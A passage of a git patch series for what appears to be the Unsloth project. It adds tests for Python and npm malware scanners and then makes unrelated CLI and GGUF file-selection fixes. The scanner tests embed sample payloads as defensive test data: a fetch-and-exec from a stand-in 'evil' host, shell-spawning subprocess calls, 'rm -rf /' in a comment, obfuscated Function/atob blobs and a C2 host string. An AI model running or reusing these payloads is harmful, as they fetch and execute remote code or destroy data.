+      "evidence": "Obfusc: L706: compile(new_source, '<temp_patched>', 'exec')\nExec: L221: try:    exec(_try_compile_argument) | L226: try:    exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/saving_utils.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)"
+    },
+    {
+      "package": "werkzeug",
+      "file": "werkzeug/routing/rules.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L836: code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736: exec(code, globs, locs)"
+    }
+  ]
+}
diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py
index 2c79b9c3ed..f0c0ea93d4 100644
--- a/tests/security/test_scan_npm_packages.py
+++ b/tests/security/test_scan_npm_packages.py
@@ -230,3 +230,192 @@ def test_parse_lockfile_structural_findings():
     patterns = {f.pattern for f in struct}
     assert "non-registry-resolved-url" in patterns
     assert "missing-integrity-hash" in patterns
+
+
+# ---------------------------------------------------------------------------
+# Code-only scanning (_strip_js_noncode) -- comment FP reduction. The stripper
+# must blank comments WITHOUT touching strings/regex/code, preserve geometry,
+# and fail open on lexer confusion.
+# ---------------------------------------------------------------------------
+
+
+def _strip(src):
+    out = snp._strip_js_noncode(src)
+    assert len(out) == len(src), "geometry (length) must be preserved"
+    assert out.count("\n") == src.count("\n"), "newline count must be preserved"
+    return out
+
+
+def test_strip_blanks_line_and_block_comments():
+    out = _strip("var x = 1; // eval(atob('p'))\n/* subprocess */ run();")
+    assert "var x = 1;" in out and "run();" in out
+    assert "eval(atob" not in out
+    assert "subprocess" not in out
+
+
+def test_strip_keeps_url_in_string_and_template():
+    src = 'const a = "http://example.com/x";\nconst b = `http://${h}//y`; go();'
+    out = _strip(src)
+    assert out == src  # nothing is a comment; must be byte-identical
+    assert "http://example.com/x" in out and "//y" in out
+
+
+def test_strip_regex_with_escaped_slashes_keeps_trailing_code():
+    # A naive "// = comment" stripper would eat `evil()`; the lexer must not.
+    src = r"const re = /https?:\/\//g; evil();"
+    out = _strip(src)
+    assert out == src
+    assert "evil();" in out
+
+
+def test_strip_preserves_assigned_base64_payload():
+    # npm droppers hide payloads in assigned string literals -- never blank them.
+    src = 'var B = "QWxhZGRpbjpvcGVuc2VzYW1l"; new Function(atob(B))();'
+    out = _strip(src)
+    assert out == src
+    assert "QWxhZGRpbjpvcGVuc2VzYW1l" in out
+
+
+def test_strip_fails_open_on_unterminated_block_comment():
+    src = "code(); /* never closed"
+    assert snp._strip_js_noncode(src) == src  # unchanged -> still fully scanned
+
+
+def test_strip_only_applies_to_js_family():
+    # A `//`-containing JSON/YAML string must be left intact (wrong lexer).
+    PKG = snp.PackageEntry(
+        name = "x",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/x/-/x-1.0.0.tgz",
+        integrity = "sha512-z",
+        lockfile_key = "node_modules/x",
+    )
+    # scan_text_blob strips for .js but not for .json.
+    yaml_like = 'url: "http://h"  # a yaml comment, not JS\n'
+    # No assertion on findings here -- just that the JS lexer is not applied to
+    # non-JS suffixes (covered indirectly: stripper is gated on suffix).
+    assert "".endswith(snp._JS_FAMILY_SUFFIXES) is False
+    assert ".js" in snp._JS_FAMILY_SUFFIXES and ".json" not in snp._JS_FAMILY_SUFFIXES
+
+
+# ---------------------------------------------------------------------------
+# Detection survives stripping; comment-only IOC is suppressed.
+# ---------------------------------------------------------------------------
+
+
+_PKG = snp.PackageEntry(
+    name = "x",
+    version = "1.0.0",
+    resolved = "https://registry.npmjs.org/x/-/x-1.0.0.tgz",
+    integrity = "sha512-z",
+    lockfile_key = "node_modules/x",
+)
+_BLOB = "QWxhZGRpbg" * 240  # ~2.4 KiB base64-ish
+
+
+def test_real_payload_still_flags_after_stripping():
+    # Obfuscated blob behind Function(), wrapped in comments that get blanked.
+    src = f'/* header */ var f = new Function("{_BLOB}"); f(); // tail\n'
+    pats = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src)}
+    assert "obfuscated-blob" in pats
+    # eval-with-string + atob shape, comment between the two halves.
+    src2 = "(0,eval)(/* x */ atob('ZG8='));"
+    pats2 = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src2)}
+    assert "js-fetch-eval" in pats2
+
+
+def test_payload_entirely_in_comment_is_suppressed():
+    src = f'/* var f = new Function("{_BLOB}"); */ var ok = 1;'
+    js = snp.scan_text_blob(_PKG, "m.js", src)
+    assert js == []  # blanked -> clean
+    # Control: same bytes scanned as non-JS (unstripped) WOULD flag.
+    txt = snp.scan_text_blob(_PKG, "m.txt", src)
+    assert any(f.pattern == "obfuscated-blob" for f in txt)
+
+
+def test_ioc_in_assigned_string_survives_stripping():
+    # A real C2 host lives in a string literal, not a comment -> still caught.
+    src = 'var c = "filev2.getsession.org"; // doc note\n'
+    pats = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src)}
+    assert "known-ioc-string" in pats
+
+
+# ---------------------------------------------------------------------------
+# Baseline allowlist -- suppress reviewed findings, fail on new kinds.
+# ---------------------------------------------------------------------------
+
+
+def _finding(
+    pkg,
+    fn,
+    pattern,
+    sev = snp.HIGH,
+):
+    return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)
+
+
+def test_norm_pkg_name_strips_version_keeps_scope():
+    assert snp._norm_pkg_name("@scope/pkg@1.2.3") == "@scope/pkg"
+    assert snp._norm_pkg_name("pkg@1.2.3") == "pkg"
+    assert snp._norm_pkg_name("@scope/pkg") == "@scope/pkg"
+    assert snp._norm_pkg_name("<root>") == "<root>"
+
+
+def test_baseline_key_is_version_stable():
+    # Same package/file/pattern across a version bump -> identical key.
+    a = _finding("left-pad@1.0.0", "node_modules/left-pad/index.js", "obfuscated-blob")
+    b = _finding("left-pad@9.9.9", "left-pad/index.js", "obfuscated-blob")
+    assert snp._finding_key(a) == snp._finding_key(b)
+
+
+def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
+    bl = tmp_path / "bl.json"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": 1,
+                "entries": [
+                    {
+                        "package": "aws-sdk",
+                        "file": "metadata.js",
+                        "pattern": "cred-surface-host (outbound)",
+                        "severity": "HIGH",
+                    }
+                ],
+            }
+        ),
+        encoding = "utf-8",
+    )
+    baseline = snp._load_baseline(str(bl))
+
+    listed = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "cred-surface-host (outbound)")
+    # A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
+    new_kind = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "obfuscated-blob")
+    active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
+    assert listed in suppressed
+    assert new_kind in active
+
+
+def test_write_then_load_baseline_roundtrip(tmp_path):
+    bl = tmp_path / "out.json"
+    findings = [
+        _finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL),
+        _finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL),  # dup
+        _finding("noise@1.0.0", "noise/b.js", "js-env-token", snp.MEDIUM),  # below thresh
+    ]
+    n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
+    assert n == 1  # dedup + MEDIUM excluded
+    keys = snp._load_baseline(str(bl))
+    assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
+    # MEDIUM was below the HIGH threshold -> not written.
+    assert all(k[2] != "js-env-token" for k in keys)
+
+
+def test_committed_baseline_is_empty_and_valid():
+    # The shipped baseline must parse and (by design) suppress nothing: the
+    # live corpus is clean, so the gate can run enforcing with an empty list.
+    path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
+    assert path.is_file()
+    doc = json.loads(path.read_text(encoding = "utf-8"))
+    assert doc.get("entries") == []
+    assert snp._load_baseline(str(path)) == set()
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 5b6e115213..33f3fda488 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -244,3 +244,355 @@ def test_archive_corruption_produces_critical_finding(tmp_path):
         "no archive_corrupted finding on corrupt tarball; got "
         f"{[(f.severity, f.check) for f in findings_tar]}"
     )
+
+
+# ---------------------------------------------------------------------------
+# False-positive hardening: code-only scanning via _strip_noncode.
+# ---------------------------------------------------------------------------
+
+
+def test_strip_noncode_blanks_docstrings_and_comments_keeps_geometry():
+    src = (
+        '"""Module doc mentions subprocess.Popen and reverse shell."""\n'
+        "x = 1  # os.system('rm -rf /') in a comment\n"
+        "def f():\n"
+        "    '''calls eval() and exec() in prose'''\n"
+        "    return x\n"
+    )
+    out = sp._strip_noncode(src)
+    # Line geometry is byte-stable so evidence L<n> stays correct.
+    assert len(out.splitlines()) == len(src.splitlines())
+    # The dangerous-looking tokens lived only in docstrings/comments -> gone.
+    for needle in ("subprocess", "os.system", "eval(", "exec(", "reverse shell"):
+        assert needle not in out, needle
+    # Real code survives.
+    assert "x = 1" in out
+    assert "return x" in out
+
+
+def test_strip_noncode_preserves_real_code_and_assigned_strings():
+    src = (
+        "import subprocess\n"
+        "subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
+        "exec(open('x').read())\n"
+        "BLOB = '" + ("A" * 64) + "'\n"  # assigned string is code, not a docstring
+    )
+    out = sp._strip_noncode(src)
+    assert out == src, "real code (incl. RHS string literals) must be untouched"
+
+
+def test_strip_noncode_falls_back_on_syntax_error():
+    broken = "def f(:\n    pass  # not valid python\n"
+    # Must not raise; returns the original so the content is still scanned.
+    assert sp._strip_noncode(broken) == broken
+
+
+def test_check_py_file_ignores_docstring_only_iocs():
+    # A file whose ONLY dangerous patterns live in a docstring must be clean.
+    benign = (
+        '"""Usage:\n'
+        ">>> import subprocess, urllib.request\n"
+        ">>> subprocess.Popen(['sh','-c','id'])\n"
+        ">>> exec(urllib.request.urlopen('http://evil/x').read())\n"
+        '"""\n'
+        "VERSION = '1.0'\n"
+    )
+    findings = sp.check_py_file(benign, "pkg/_doc.py", "pkg")
+    assert findings == [], f"docstring IOCs should not flag: {[str(f) for f in findings]}"
+    # But the same payload as real code still flags.
+    real = (
+        "import subprocess, urllib.request\n"
+        "subprocess.Popen(['sh','-c','id'])\n"
+        "exec(urllib.request.urlopen('http://evil/x').read())\n"
+    )
+    flagged = sp.check_py_file(real, "pkg/evil.py", "pkg")
+    assert any(f.severity in (sp.CRITICAL, sp.HIGH) for f in flagged)
+
+
+def test_extract_evidence_multiline_reports_line():
+    # A DOTALL pattern that only matches across lines must still yield evidence
+    # (not an empty string) so a baseline entry is reviewable.
+    content = "a = 1\ntime.sleep(\n    600\n)\n"
+    ev = sp._extract_evidence(content, sp.RE_ANTI_ANALYSIS)
+    assert ev and ev.startswith("L"), ev
+
+
+def test_anti_analysis_no_longer_flags_cross_platform_code():
+    # Pure cross-platform code (the old platform.system FP) must be clean.
+    crossplat = (
+        "import platform, subprocess\n"
+        "if platform.system() == 'Windows':\n"
+        "    subprocess.run(['where', 'git'])\n"
+        "else:\n"
+        "    subprocess.run(['which', 'git'])\n"
+    )
+    findings = sp.check_py_file(crossplat, "pkg/_compat.py", "pkg")
+    anti = [f for f in findings if "Anti-analysis" in f.check]
+    assert anti == [], f"cross-platform code should not be anti-analysis: {anti}"
+
+
+def test_proc_self_status_read_flags_anti_analysis():
+    # Reading /proc/self/status (to scrape TracerPid) alongside a subprocess
+    # call is the classic anti-debug combination. The old `\b/proc/self/status\b`
+    # was a dead pattern (\b adjacent to "/" is unsatisfiable); the lookbehind
+    # fix makes it fire. No TracerPid/ptrace token here so only the /proc path
+    # can supply the anti-analysis signal.
+    payload = (
+        "import subprocess\n"
+        "with open('/proc/self/status') as fh:\n"
+        "    data = fh.read()\n"
+        "subprocess.run(['echo', 'go'])\n"
+    )
+    findings = sp.check_py_file(payload, "pkg/_probe.py", "pkg")
+    anti = [f for f in findings if "Anti-analysis" in f.check]
+    assert anti, "reading /proc/self/status + subprocess must flag anti-analysis"
+    assert anti[0].severity == sp.HIGH
+
+
+def test_proc_self_status_pattern_is_live():
+    # Direct regex check across the common call forms; the leading \b made all
+    # of these unsatisfiable before the fix.
+    for s in (
+        'open("/proc/self/status")',
+        "cat /proc/self/status",
+        "path = '/proc/self/status'",
+    ):
+        assert sp.RE_ANTI_ANALYSIS.search(s), s
+    # A bare cross-platform OS check must still NOT match anti-analysis.
+    assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
+
+
+# ---------------------------------------------------------------------------
+# Baseline allowlist.
+# ---------------------------------------------------------------------------
+
+
+def _mk(sev, pkg, fname, check):
+    return sp.Finding(sev, pkg, fname, check, "evidence")
+
+
+def test_baseline_key_version_stable_but_path_specific():
+    a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
+    b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
+    # Same package-relative path across versions -> same key (stable).
+    assert sp._finding_key(a) == sp._finding_key(b)
+    # Same basename in a DIFFERENT path -> different key (no over-suppression).
+    c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
+    assert sp._finding_key(a) != sp._finding_key(c)
+
+
+def test_fstring_statement_is_not_blanked():
+    # A bare f-string evaluates at import, so it must stay scannable.
+    src = "f\"{__import__('os').system('id')}\"\n"
+    assert "__import__" in sp._strip_noncode(src)
+    # A plain bare docstring IS blanked.
+    plain = "'a docstring mentioning subprocess.Popen'\n"
+    assert "subprocess" not in sp._strip_noncode(plain)
+
+
+def test_exec_with_payload_hidden_in_docstring_flagged():
+    blob = "A" * 400
+    src = '"""' + blob + '"""\nimport os\nexec(__doc__)\n'
+    findings = sp.check_py_file(src, "pkg/mod.py", "pkg")
+    assert any("hidden in a docstring" in f.check for f in findings)
+    # No exec/eval -> the blanked blob does not produce that finding.
+    src2 = '"""' + blob + '"""\nimport os\n'
+    findings2 = sp.check_py_file(src2, "pkg/mod.py", "pkg")
+    assert not any("hidden in a docstring" in f.check for f in findings2)
+
+
+def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
+    bl = tmp_path / "bl.json"
+    listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
+    sp._write_baseline(str(bl), [listed])
+    baseline = sp._load_baseline(str(bl))
+
+    # Same (package, basename, check) -> suppressed.
+    active, suppressed = sp._partition_baseline([listed], baseline)
+    assert suppressed == [listed] and active == []
+
+    # A NEW kind of finding in the SAME file is a different check -> still active.
+    new_kind = _mk(
+        sp.CRITICAL, "fastapi", "fastapi/routing.py", "Reverse shell / bind shell pattern"
+    )
+    active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
+    assert active2 == [new_kind] and suppressed2 == []
+
+
+def test_write_baseline_roundtrip_only_crit_high(tmp_path):
+    bl = tmp_path / "bl.json"
+    findings = [
+        _mk(sp.CRITICAL, "p", "a.py", "c1"),
+        _mk(sp.HIGH, "p", "b.py", "c2"),
+        _mk(sp.MEDIUM, "p", "c.py", "c3"),  # MEDIUM excluded from baseline
+    ]
+    sp._write_baseline(str(bl), findings)
+    keys = sp._load_baseline(str(bl))
+    assert sp._finding_key(findings[0]) in keys
+    assert sp._finding_key(findings[1]) in keys
+    assert sp._finding_key(findings[2]) not in keys
+
+
+def test_load_baseline_missing_file_is_empty():
+    assert sp._load_baseline("/nonexistent/path/bl.json") == set()
+
+
+# ---------------------------------------------------------------------------
+# sdist fallback: preserve coverage of sdist-only packages without building.
+# All offline -- PyPI JSON / download are mocked.
+# ---------------------------------------------------------------------------
+
+
+class _FakeResp:
+    """Minimal urlopen() context-manager stand-in."""
+
+    def __init__(
+        self,
+        data: bytes = b"",
+        status: int = 200,
+    ):
+        self._data = data
+        self.status = status
+
+    def read(self, n: int = -1) -> bytes:
+        return self._data
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *a):
+        return False
+
+
+def _f(packagetype: str, filename: str, url: str) -> dict:
+    return {"packagetype": packagetype, "filename": filename, "url": url}
+
+
+def _meta(
+    files: list[dict],
+    requires = None,
+    version: str = "1.0.0",
+) -> dict:
+    return {
+        "info": {"version": version, "requires_dist": requires or []},
+        "urls": files,
+        "releases": {version: files},
+    }
+
+
+def test_spec_pin_version():
+    assert sp._spec_pin_version("torch==2.3.1") == "2.3.1"
+    assert sp._spec_pin_version("torch>=2.0") is None
+    assert sp._spec_pin_version("numpy") is None
+
+
+def test_release_has_wheel_detects_sdist_only():
+    sdist_only = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
+    assert sp._release_has_wheel(sdist_only, None) is False
+    assert sp._release_has_wheel(sdist_only, "1.0.0") is False
+    has_wheel = _meta(
+        [
+            _f("sdist", "x.tar.gz", "https://files.pythonhosted.org/x.tar.gz"),
+            _f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl"),
+        ]
+    )
+    assert sp._release_has_wheel(has_wheel, None) is True
+
+
+def test_is_trusted_pypi_url_only_https_pypi():
+    assert sp._is_trusted_pypi_url("https://files.pythonhosted.org/p/x.tar.gz") is True
+    assert sp._is_trusted_pypi_url("https://pypi.org/x.tar.gz") is True
+    assert sp._is_trusted_pypi_url("http://files.pythonhosted.org/x.tar.gz") is False  # not https
+    assert sp._is_trusted_pypi_url("https://evil.example/x.tar.gz") is False
+    assert sp._is_trusted_pypi_url("https://files.pythonhosted.org.evil.com/x") is False
+
+
+def test_requires_dist_skips_extras():
+    meta = _meta(
+        [],
+        requires = [
+            "numpy (>=1.20)",
+            "torch ; extra == 'dev'",  # optional extra -> skipped
+            "pyyaml>=5 ; python_version >= '3.8'",  # non-extra marker -> kept
+        ],
+    )
+    specs = sp._requires_dist_names(meta, None)
+    # Version constraints are preserved so a pinned dep is fetched, not latest.
+    assert "numpy>=1.20" in specs
+    assert "pyyaml>=5" in specs
+    # The extra-gated dep is skipped entirely (no torch under any form).
+    assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
+
+
+def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
+    meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
+    fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
+    assert fpath is None and "non-PyPI" in err
+    assert list(tmp_path.iterdir()) == []  # nothing was written
+
+
+def test_download_sdist_direct_no_sdist_published(tmp_path):
+    meta = _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")])
+    fpath, err = sp._download_sdist_direct("x", None, str(tmp_path), meta = meta)
+    assert fpath is None and "no sdist" in err
+
+
+def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch):
+    payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
+    monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
+    meta = _meta(
+        [_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")]
+    )
+    fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
+    assert err is None and fpath is not None
+    assert fpath.endswith(".tar.gz")  # suffix preserved -> archive reader picks format
+    assert Path(fpath).read_bytes() == payload
+
+
+def test_download_sdist_direct_size_cap(tmp_path, monkeypatch):
+    monkeypatch.setattr(sp, "_MAX_SDIST_BYTES", 8)
+    monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"x" * 100))
+    meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
+    fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
+    assert fpath is None and "cap" in err
+
+
+def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
+    # A spec that fails pip but HAS a wheel on PyPI is a genuine error (-> exit 2),
+    # never silently swallowed.
+    class _Proc:
+        returncode = 1
+        stderr = "ResolutionImpossible"
+
+    monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
+    monkeypatch.setattr(
+        sp,
+        "_pypi_json",
+        lambda name: _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]),
+    )
+    errors: list[str] = []
+    sp._resolve_per_spec_with_deps(["somepkg==1.0"], str(tmp_path), {}, errors)
+    assert errors and "somepkg" in errors[0]
+
+
+def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
+    # sdist-only spec: pip fails, PyPI shows no wheel -> direct fetch, no error.
+    class _Proc:
+        returncode = 1
+        stderr = "No matching distribution"
+
+    monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
+    monkeypatch.setattr(
+        sp,
+        "_pypi_json",
+        lambda name: _meta(
+            [_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
+        ),
+    )
+    monkeypatch.setattr(
+        sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"\x1f\x8bdata")
+    )
+    errors: list[str] = []
+    sp._resolve_per_spec_with_deps(["x==1.0.0"], str(tmp_path), {}, errors)
+    assert errors == []  # sdist-only handled, not an exit-2 failure
+    assert any(p.name.endswith(".tar.gz") for p in tmp_path.iterdir())

From 0ac1fb5d9e99dea4872666fe0f7e01bbed0a360b Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Tue, 16 Jun 2026 15:02:26 +0530
Subject: [PATCH 28/91] CLI: fix --local-dataset being parsed as a string
 instead of a list (#6357)

* fix CLI dataset path resolution

* enhance list type check

---------

Co-authored-by: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
---
 studio/backend/core/training/trainer.py |  3 +++
 unsloth_cli/options.py                  | 31 +++++++++++++++++++------
 2 files changed, 27 insertions(+), 7 deletions(-)

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 529b98c652..8fd2dfdfd8 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -2231,6 +2231,9 @@ class UnslothTrainer:
         for dataset_file in file_paths:
             if os.path.isabs(dataset_file):
                 file_path = dataset_file
+            elif os.path.exists(dataset_file):
+                # A path relative to the current working directory (CLI usage)
+                file_path = os.path.abspath(dataset_file)
             else:
                 file_path = str(resolve_dataset_path(dataset_file))
 
diff --git a/unsloth_cli/options.py b/unsloth_cli/options.py
index 03c7540faa..7a0433e87c 100644
--- a/unsloth_cli/options.py
+++ b/unsloth_cli/options.py
@@ -6,7 +6,7 @@
 import functools
 import inspect
 from pathlib import Path
-from typing import Any, Callable, Optional, get_args, get_origin
+from typing import Any, Callable, List, Optional, get_args, get_origin
 
 import typer
 from pydantic import BaseModel
@@ -35,8 +35,16 @@ def _is_bool_field(annotation: Any) -> bool:
 
 
 def _is_list_type(annotation: Any) -> bool:
-    """Check if type is a List."""
-    return get_origin(annotation) is list
+    """Check if type is a List (including Optional[List[...]] and bare list)."""
+    unwrapped = _unwrap_optional(annotation)
+    return unwrapped is list or get_origin(unwrapped) is list
+
+
+def _list_element_type(annotation: Any) -> type:
+    """Element type for a List field; falls back to str for complex inners."""
+    args = get_args(_unwrap_optional(annotation))
+    elem = args[0] if args else str
+    return elem if elem in (str, int, float, Path) else str
 
 
 def _get_python_type(annotation: Any) -> type:
@@ -80,7 +88,7 @@ def add_options_from_config(config_class: type[BaseModel]) -> Callable:
     which will receive a dict of all CLI-provided config values.
     """
     fields = _collect_config_fields(config_class)
-    field_names = {name for name, field_info in fields if not _is_list_type(field_info.annotation)}
+    field_names = {name for name, _field_info in fields}
 
     def decorator(func: Callable) -> Callable:
         sig = inspect.signature(func)
@@ -95,12 +103,21 @@ def add_options_from_config(config_class: type[BaseModel]) -> Callable:
             if field_name in original_param_names:
                 continue
             annotation = field_info.annotation
-            if _is_list_type(annotation):
-                continue
-
             flag_name = _python_name_to_cli_flag(field_name)
             help_text = field_info.description or ""
 
+            if _is_list_type(annotation):
+                # Repeatable option: --flag a --flag b -> ["a", "b"]
+                default = typer.Option(None, flag_name, help = help_text)
+                param = inspect.Parameter(
+                    field_name,
+                    inspect.Parameter.POSITIONAL_OR_KEYWORD,
+                    default = default,
+                    annotation = Optional[List[_list_element_type(annotation)]],
+                )
+                new_params.append(param)
+                continue
+
             if _is_bool_field(annotation):
                 default = typer.Option(
                     None,

From 048f34e8f2e3e163017802d596270d9fd4942c9f Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Tue, 16 Jun 2026 12:42:58 +0200
Subject: [PATCH 29/91] Fix GGUF variant file selection (#6342)

* Fix GGUF variant resolution

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address GGUF variant review feedback

* Harden GGUF endian filtering

* Address GGUF endian review comments

* Mirror GGUF endian filter in local resolver

* Fix GGUF route import test stub

* Apply GGUF endian filtering across load paths

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 163 +++++++++----
 .../hub/services/models/gguf_variants.py      |   6 +-
 .../backend/hub/tests/test_model_services.py  |  38 +++
 studio/backend/hub/utils/gguf.py              |  36 ++-
 studio/backend/hub/utils/gguf_plan.py         |   4 +
 studio/backend/routes/models.py               |  16 +-
 .../backend/tests/test_cached_gguf_routes.py  |  94 ++++++++
 .../tests/test_export_absolute_paths.py       |   1 +
 studio/backend/tests/test_gguf_routing.py     |  17 ++
 .../tests/test_offline_gguf_cache_fallback.py | 220 ++++++++++++++++++
 studio/backend/utils/models/model_config.py   | 111 +++++++--
 .../src/features/chat/api/chat-adapter.ts     |  42 +++-
 12 files changed, 669 insertions(+), 79 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index bd6bdad8c6..0f4abe04f5 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -247,8 +247,8 @@ def _should_suppress_forced_no_tool_output(text: str) -> bool:
 
 
 # ── Pre-compiled patterns for GGUF shard detection ───────────
-_SHARD_FULL_RE = re.compile(r"^(.*)-(\d{5})-of-(\d{5})\.gguf$")
-_SHARD_RE = re.compile(r"^(.*)-\d{5}-of-\d{5}\.gguf$")
+_SHARD_FULL_RE = re.compile(r"^(.*)-(\d{5})-of-(\d{5})\.gguf$", re.IGNORECASE)
+_SHARD_RE = re.compile(r"^(.*)-\d{5}-of-\d{5}\.gguf$", re.IGNORECASE)
 
 
 # ── Sliding-window-pattern resolver ───────────────────────────
@@ -626,6 +626,99 @@ def _is_companion_gguf_path(path: str) -> bool:
     return name.startswith("mtp-") or "/mtp/" in f"/{p}"
 
 
+_BIG_ENDIAN_GGUF_FILENAME_RE = re.compile(r"(^|[-_])be(?:[._-]|$)", re.IGNORECASE)
+_GGUF_KNOWN_QUANT_RE = re.compile(
+    r"(UD-)?"
+    r"(MXFP[0-9]+(?:_[A-Z0-9]+)*"
+    r"|IQ[0-9]+_[A-Z]+(?:_[A-Z0-9]+)?"
+    r"|TQ[0-9]+_[0-9]+"
+    r"|Q[0-9]+_K_[A-Z]+"
+    r"|Q[0-9]+_[0-9]+"
+    r"|Q[0-9]+_K"
+    r"|BF16|F16|F32)",
+    re.IGNORECASE,
+)
+
+
+def _is_big_endian_gguf_path(path: str, variant_key: str = "") -> bool:
+    normalized = path.replace("\\", "/")
+    name = normalized.rsplit("/", 1)[-1]
+    stem = name.rsplit(".", 1)[0].lower()
+    variant_key = variant_key.strip().lower()
+    variant_index = stem.find(variant_key) if variant_key else -1
+    parent = normalized.rsplit("/", 1)[0].lower() if "/" in normalized else ""
+    variant_in_parent_only = (
+        bool(parent)
+        and variant_index < 0
+        and (
+            (variant_key and variant_key in parent)
+            or (not variant_key and _GGUF_KNOWN_QUANT_RE.search(parent) is not None)
+        )
+    )
+    for match in _BIG_ENDIAN_GGUF_FILENAME_RE.finditer(stem):
+        if variant_index >= 0 and variant_index < match.start():
+            return True
+        tail = stem[match.end() :].lstrip("._-")
+        if not tail or _GGUF_KNOWN_QUANT_RE.search(tail) is None:
+            return not variant_in_parent_only
+    return False
+
+
+def _gguf_snapshot_files(snapshot: Path) -> list[str]:
+    return [
+        p.relative_to(snapshot).as_posix()
+        for p in snapshot.rglob("*")
+        if p.is_file() and p.name.lower().endswith(".gguf")
+    ]
+
+
+def _gguf_extra_shards(files: Iterable[str], first_shard: str) -> list[str]:
+    m = _SHARD_FULL_RE.match(first_shard)
+    if not m:
+        return []
+    prefix = m.group(1)
+    total = m.group(3)
+    sibling_pat = re.compile(
+        r"^" + re.escape(prefix) + r"-\d{5}-of-" + re.escape(total) + r"\.gguf$",
+        re.IGNORECASE,
+    )
+    return sorted(f for f in files if f != first_shard and sibling_pat.match(f))
+
+
+def _gguf_files_for_variant(files: Iterable[str], variant: str) -> list[str]:
+    """Return main GGUF files matching a requested variant.
+
+    Prefer exact quant-label matches over loose substring matches so a request
+    for ``stories260K`` does not resolve to ``stories260K-be.gguf``.
+    """
+    variant_key = variant.strip().lower()
+    main_files = [
+        f
+        for f in files
